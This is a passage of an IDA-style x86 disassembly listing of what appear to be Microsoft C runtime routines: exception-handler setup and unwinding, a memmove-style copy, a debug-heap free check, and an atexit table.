var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_14], 0
		mov	[ebp+var_10], offset sub_419480
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_C]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		call	sub_424840
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, [ebp+var_18]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_419410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419480	proc near		; DATA XREF: sub_419410+10o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+10h]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		push	ecx
		push	0
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+0Ch]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_423BE0
		add	esp, 20h
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4194C0	proc near		; CODE XREF: sub_423F70+2Dp

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_419590
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+arg_14]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 0
		mov	[ebp+var_8], 0
		mov	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41955C
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_2C], edx
		lea	eax, [ebp+var_30]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	edx
		call	sub_41F970
		call	dword ptr [eax+68h]
		add	esp, 8
		mov	[ebp+var_34], 0


loc_41955C:				; DATA XREF: sub_4194C0+4Bo
		cmp	[ebp+var_4], 0
		jz	short loc_419579
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419579:				; CODE XREF: sub_4194C0+A0j
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_419582:				; CODE XREF: sub_4194C0+B7j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4194C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419590	proc near		; DATA XREF: sub_4194C0+10o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		and	ecx, 66h
		test	ecx, ecx
		jz	short loc_4195B5
		mov	edx, [ebp+arg_4]
		mov	dword ptr [edx+24h], 1
		mov	eax, 1
		jmp	short loc_41960C
; ---------------------------------------------------------------------------


loc_4195B5:				; CODE XREF: sub_419590+12j
		push	1
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+14h]
		push	ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+10h]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		push	edx
		push	0
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+0Ch]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_423BE0
		add	esp, 20h
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+24h], 0
		jnz	short loc_4195FB
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_419340
; ---------------------------------------------------------------------------


loc_4195FB:				; CODE XREF: sub_419590+5Cj
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		mov	eax, 1


loc_41960C:				; CODE XREF: sub_419590+23j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419620	proc near		; CODE XREF: sub_423CD0+135p
					; sub_423F70+52p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, [eax+10h]
		mov	esi, [eax+0Ch]
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+arg_4]
		test	ecx, ecx
		mov	edi, esi
		mov	ebx, esi
		jl	short loc_419679


loc_41963E:				; CODE XREF: sub_419620+54j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_419648
		call	sub_424940


loc_419648:				; CODE XREF: sub_419620+21j
		mov	eax, [ebp+var_4]
		dec	esi
		mov	ecx, [ebp+arg_8]
		lea	edx, [esi+esi*4]
		lea	eax, [eax+edx*4]
		cmp	[eax+4], ecx
		jge	short loc_41965F
		cmp	ecx, [eax+8]
		jle	short loc_419664


loc_41965F:				; CODE XREF: sub_419620+38j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41966F


loc_419664:				; CODE XREF: sub_419620+3Dj
		mov	eax, [ebp+arg_4]
		mov	edi, ebx
		dec	eax
		mov	ebx, esi
		mov	[ebp+arg_4], eax


loc_41966F:				; CODE XREF: sub_419620+42j
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jge	short loc_41963E
		mov	eax, [ebp+arg_0]


loc_419679:				; CODE XREF: sub_419620+1Cj
		mov	ecx, [ebp+arg_C]
		mov	edx, [ebp+arg_10]
		inc	esi
		mov	[ecx], esi
		mov	[edx], edi
		cmp	edi, [eax+0Ch]
		ja	short loc_41968D
		cmp	esi, edi
		jbe	short loc_419692


loc_41968D:				; CODE XREF: sub_419620+67j
		call	sub_424940


loc_419692:				; CODE XREF: sub_419620+6Bj
		mov	ecx, [ebp+var_4]
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ecx+eax*4]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_419620	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4196B0	proc near		; CODE XREF: sub_426A54+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_4196C8
		push	[ebp+arg_0]
		call	sub_431B70
sub_4196B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4196C8	proc near		; DATA XREF: sub_4196B0+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4196C8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4196D0	proc near		; DATA XREF: sub_4196F2+Ao
					; sub_41975A+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_4196F1
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_4196F1:				; CODE XREF: sub_4196D0+10j
		retn
sub_4196D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4196F2	proc near		; CODE XREF: sub_424340+C2p
					; sub_426A54+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_4196D0
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41970F:				; CODE XREF: sub_4196F2:loc_41974Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41974C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41974C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41974A
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_419786
		call	dword ptr [ebx+esi*4+8]


loc_41974A:				; CODE XREF: sub_4196F2+44j
		jmp	short loc_41970F
; ---------------------------------------------------------------------------


loc_41974C:				; CODE XREF: sub_4196F2+2Aj
					; sub_4196F2+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4196F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41975A	proc near		; CODE XREF: sub_42441D+4Bp
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_4196D0
		jnz	short locret_41977C
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41977C
		mov	eax, 1

locret_41977C:				; CODE XREF: sub_41975A+10j
					; sub_41975A+1Bj
		retn
sub_41975A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41977D	proc near		; CODE XREF: sub_424840+1Ep
					; sub_424840+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_443B5C
		jmp	short loc_419790
sub_41977D	endp


; =============== S U B	R O U T	I N E =======================================



sub_419786	proc near		; CODE XREF: sub_4196F2+4Fp
					; sub_426A54+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_443B5C
		mov	ecx, [ebp+8]


loc_419790:				; CODE XREF: sub_41977D+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_419786	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4197A0	proc near		; CODE XREF: sub_40B943+5p
					; sub_40BABA+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_4197A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4197C0	proc near		; CODE XREF: sub_40C1C0+Cp
					; sub_41BF40+581p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4197E0
		cmp	edi, eax
		jb	loc_419958


loc_4197E0:				; CODE XREF: sub_4197C0+16j
		test	edi, 3
		jnz	short loc_4197FC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41981C
		rep movsd
		jmp	off_419908[edx*4]
; ---------------------------------------------------------------------------


loc_4197FC:				; CODE XREF: sub_4197C0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_419814
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41981C+4[eax*4]
; ---------------------------------------------------------------------------


loc_419814:				; CODE XREF: sub_4197C0+46j
		jmp	dword ptr loc_419918[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41981C:				; CODE XREF: sub_4197C0+31j
					; sub_4197C0+8Ej ...
		jmp	off_41989C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41982C+4
		dd offset loc_41985C
; ---------------------------------------------------------------------------


loc_41982C:				; DATA XREF: sub_4197C0+64o
		sbb	byte ptr [eax-2EDCFFBFh], 8Ah
		push	es
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41981C
		rep movsd
		jmp	off_419908[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41985C:				; DATA XREF: sub_4197C0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41981C
		rep movsd
		jmp	off_419908[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41981C
		rep movsd
		jmp	off_419908[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41989C	dd offset loc_4198FF	; DATA XREF: sub_4197C0:loc_41981Cr
		dd offset loc_4198EC
		dd offset loc_4198E4
		dd offset loc_4198DC
		dd offset loc_4198D4
		dd offset loc_4198CC
		dd offset loc_4198C4
		dd offset loc_4198BC
; ---------------------------------------------------------------------------


loc_4198BC:				; CODE XREF: sub_4197C0:loc_41981Cj
					; DATA XREF: sub_4197C0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_4198C4:				; CODE XREF: sub_4197C0:loc_41981Cj
					; DATA XREF: sub_4197C0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_4198CC:				; CODE XREF: sub_4197C0:loc_41981Cj
					; DATA XREF: sub_4197C0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4198D4:				; CODE XREF: sub_4197C0:loc_41981Cj
					; DATA XREF: sub_4197C0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4198DC:				; CODE XREF: sub_4197C0:loc_41981Cj
					; DATA XREF: sub_4197C0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4198E4:				; CODE XREF: sub_4197C0:loc_41981Cj
					; DATA XREF: sub_4197C0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4198EC:				; CODE XREF: sub_4197C0:loc_41981Cj
					; DATA XREF: sub_4197C0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4198FF:				; CODE XREF: sub_4197C0:loc_41981Cj
					; DATA XREF: sub_4197C0:off_41989Co
		jmp	off_419908[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_419908	dd offset loc_419918	; DATA XREF: sub_4197C0+35r
					; sub_4197C0+92r ...
		dd offset loc_419920
		dd offset loc_41992C
		dd offset loc_419940
; ---------------------------------------------------------------------------


loc_419918:				; CODE XREF: sub_4197C0+35j
					; sub_4197C0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_419920:				; CODE XREF: sub_4197C0+35j
					; sub_4197C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41992C:				; CODE XREF: sub_4197C0+35j
					; sub_4197C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_419940:				; CODE XREF: sub_4197C0+35j
					; sub_4197C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_419958:				; CODE XREF: sub_4197C0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41998C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_419980
		std
		rep movsd
		cld
		jmp	off_419AA0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_419980:				; CODE XREF: sub_4197C0+1B1j
					; sub_4197C0+208j ...
		neg	ecx
		jmp	off_419A50[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41998C:				; CODE XREF: sub_4197C0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_4199A4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_4199A4+4[eax*4]
; ---------------------------------------------------------------------------


loc_4199A4:				; CODE XREF: sub_4197C0+1D6j
					; DATA XREF: sub_4197C0+1DDr
		jmp	off_419AA0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4199B7+1
; ---------------------------------------------------------------------------
		fcomp	dword ptr [ecx-65FFFFBFh]
		inc	ecx


loc_4199B7:				; DATA XREF: sub_4197C0+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_419980
		std
		rep movsd
		cld
		jmp	off_419AA0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_419980
		std
		rep movsd
		cld
		jmp	off_419AA0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_419980
		std
		rep movsd
		cld
		jmp	off_419AA0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_419A54
		dd offset loc_419A5C
		dd offset loc_419A64
		dd offset loc_419A6C
		dd offset loc_419A74
		dd offset loc_419A7C
		dd offset loc_419A84
off_419A50	dd offset loc_419A97	; DATA XREF: sub_4197C0+1C2r
; ---------------------------------------------------------------------------


loc_419A54:				; DATA XREF: sub_4197C0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_419A5C:				; DATA XREF: sub_4197C0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_419A64:				; DATA XREF: sub_4197C0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_419A6C:				; DATA XREF: sub_4197C0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_419A74:				; DATA XREF: sub_4197C0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_419A7C:				; DATA XREF: sub_4197C0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_419A84:				; DATA XREF: sub_4197C0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_419A97:				; CODE XREF: sub_4197C0+1C2j
					; DATA XREF: sub_4197C0:off_419A50o
		jmp	off_419AA0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_419AA0	dd offset loc_419AB0	; DATA XREF: sub_4197C0+1B7r
					; sub_4197C0:loc_4199A4r ...
		dd offset loc_419AB8
		dd offset loc_419AC8
		dd offset loc_419ADC
; ---------------------------------------------------------------------------


loc_419AB0:				; CODE XREF: sub_4197C0+1B7j
					; sub_4197C0:loc_4199A4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_419AB8:				; CODE XREF: sub_4197C0+1B7j
					; sub_4197C0:loc_4199A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_419AC8:				; CODE XREF: sub_4197C0+1B7j
					; sub_4197C0:loc_4199A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_419ADC:				; CODE XREF: sub_4197C0+1B7j
					; sub_4197C0:loc_4199A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4197C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B00	proc near		; CODE XREF: sub_40C2B8+4p
					; sub_431610+1Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_0], 0
		jnz	short loc_419B12
		jmp	loc_419B9A
; ---------------------------------------------------------------------------


loc_419B12:				; CODE XREF: sub_419B00+Bj
		push	9
		call	sub_41B780
		add	esp, 4
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		mov	[ebp+var_4], eax


loc_419B25:				; CODE XREF: sub_419B00+7Bj
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 4
		jz	short loc_419B77
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+14h], 1
		jz	short loc_419B77
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 2
		jz	short loc_419B77
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+14h], 3
		jz	short loc_419B77
		push	offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
		push	0
		push	2Fh
		push	offset dword_433CA8
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_419B77
		int	3		; Trap to Debugger


loc_419B77:				; CODE XREF: sub_419B00+34j
					; sub_419B00+3Dj ...
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_419B25
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_415860
		add	esp, 8
		push	9
		call	sub_41B820
		add	esp, 4


loc_419B9A:				; CODE XREF: sub_419B00+Dj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_419B00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419BB0	proc near		; CODE XREF: sub_40C318+Bp
					; ___:0041291Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_414E00
		add	esp, 8
		pop	ebp
		retn
sub_419BB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419BD0	proc near		; CODE XREF: sub_419C90+7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_417AB0
		push	2
		mov	eax, dword_4DC7D0
		push	eax
		call	sub_415CA0
		add	esp, 8
		mov	ecx, dword_4DC7CC
		sub	ecx, dword_4DC7D0
		add	ecx, 4
		cmp	eax, ecx
		jnb	short loc_419C5D
		push	68h
		push	offset dword_433CB4
		push	2
		push	2
		mov	edx, dword_4DC7D0
		push	edx
		call	sub_415CA0
		add	esp, 8
		add	eax, 10h
		push	eax
		mov	eax, dword_4DC7D0
		push	eax
		call	sub_415260
		add	esp, 14h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_419C3A
		call	sub_417AC0
		xor	eax, eax
		jmp	short loc_419C7F
; ---------------------------------------------------------------------------


loc_419C3A:				; CODE XREF: sub_419BD0+5Fj
		mov	ecx, dword_4DC7CC
		sub	ecx, dword_4DC7D0
		sar	ecx, 2
		mov	edx, [ebp+var_4]
		lea	eax, [edx+ecx*4]
		mov	dword_4DC7CC, eax
		mov	ecx, [ebp+var_4]
		mov	dword_4DC7D0, ecx


loc_419C5D:				; CODE XREF: sub_419BD0+2Aj
		mov	edx, dword_4DC7CC
		mov	eax, [ebp+arg_0]
		mov	[edx], eax
		mov	ecx, dword_4DC7CC
		add	ecx, 4
		mov	dword_4DC7CC, ecx
		call	sub_417AC0
		mov	eax, [ebp+arg_0]


loc_419C7F:				; CODE XREF: sub_419BD0+68j
		mov	esp, ebp
		pop	ebp
		retn
sub_419BD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C90	proc near		; CODE XREF: ___:0040BD42p
					; sub_4318F0+8p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_419BD0
		add	esp, 4
		neg	eax
		sbb	eax, eax
		neg	eax
		dec	eax
		pop	ebp
		retn
sub_419C90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419CB0	proc near		; DATA XREF: ___:0043601Co
		push	ebp
		mov	ebp, esp
		push	0B6h
		push	offset dword_433CB4
		push	2
		push	80h
		call	sub_414DD0
		add	esp, 10h
		mov	dword_4DC7D0, eax
		cmp	dword_4DC7D0, 0
		jnz	short loc_419CE4
		push	18h
		call	sub_41A9A0
		add	esp, 4


loc_419CE4:				; CODE XREF: sub_419CB0+28j
		mov	eax, dword_4DC7D0
		mov	dword ptr [eax], 0
		mov	ecx, dword_4DC7D0
		mov	dword_4DC7CC, ecx
		pop	ebp
		retn
sub_419CB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419D00	proc near		; CODE XREF: sub_40C33C+77p
					; ___:0041239Dp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	offset dword_4DB45C
		nop
		call	near ptr 2840CCAh
		cmp	dword_4DB458, 0
		jz	short loc_419D38
		push	offset dword_4DB45C
		call	near ptr 2840C7Bh
		nop
		push	13h
		call	sub_41B780
		add	esp, 4
		mov	[ebp+var_4], 1
		jmp	short loc_419D3F
